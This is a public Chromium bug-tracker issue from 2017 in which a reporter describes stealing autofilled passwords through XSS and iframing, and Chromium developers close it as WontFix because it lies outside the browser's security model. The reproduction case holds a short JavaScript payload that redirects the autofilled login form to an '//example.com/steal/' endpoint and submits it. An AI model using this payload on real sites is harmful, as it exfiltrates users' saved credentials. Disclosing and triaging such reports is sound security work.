New issue
Advanced search Search tips
Note: Color blocks (like █ or █) mean that a user may not be available. Tooltip shows the reason.

Issue 789810 link

Starred by 1 user
Status: WontFix
Owner:
vasi...@chromium.org
Closed: Nov 2017
Cc:
█ mkwst@chromium.org
est...@chromium.org
nparker@chromium.org
█ jialiul@chromium.org
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: XSS and X-Frame-Options not DENY, password is stolen.

Reported by dmaster....@gmail.com, Nov 30 2017 
VULNERABILITY DETAILS
If webpage occurs XSS, and X-Frame-Options not DENY, default account & password is stolen.
Only Chrome set account & password to form.

VERSION
Chrome Version: 62.0.3202.94 Stable
Operating System: Windows 8.1

REPRODUCTION CASE
// XSS Code
document.getElementsByTagName("body")[0].insertAdjacentHTML('beforeend', '<iframe src="/password_page">');
var form = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("form")[0];
form.action = '//example.com/steal/';
form.submit();

Comment 1 by raymes@chromium.org, Nov 30 2017

Cc: nparker@chromium.org mkwst@chromium.org vasi...@chromium.org jialiul@chromium.org est...@chromium.org
Components: Blink>Forms>Password UI>Browser>Passwords
Labels: Security_Severity-Low Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Status: Available (was: Unconfirmed)
Thanks for the report. 

It appears you're referring to a situation where an XSS has occurred on a website. The malicious code embeds the login form of the website being attacked. Autofill presumably fills the login form on the website. Then the form.action is set to the attackers page to exfiltrate the data and the form is submitted. 

In my mind this does not appear to be very much worse than XSS'ing the site in general, which allows recording keystroke and exfiltrating session tokens or other user data. 

+some others who may have thoughts on this.

Comment 2 by raymes@chromium.org, Nov 30 2017

Cc: -vasi...@chromium.org
Owner: vasi...@chromium.org
As I understand it, this kind of attack is outside our security model.

vasilii can confirm

Comment 3 by vasi...@chromium.org, Nov 30 2017

Status: WontFix (was: Available)
Some time ago we thought about filling the password on user mediation. That, however, would not prevent stealing here because the form may look/be legitimate.
There is not much Chrome can do in this scenario.
Project Member

Comment 4 by sheriffbot@chromium.org, Mar 8 2018

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
►

Sign in to add a comment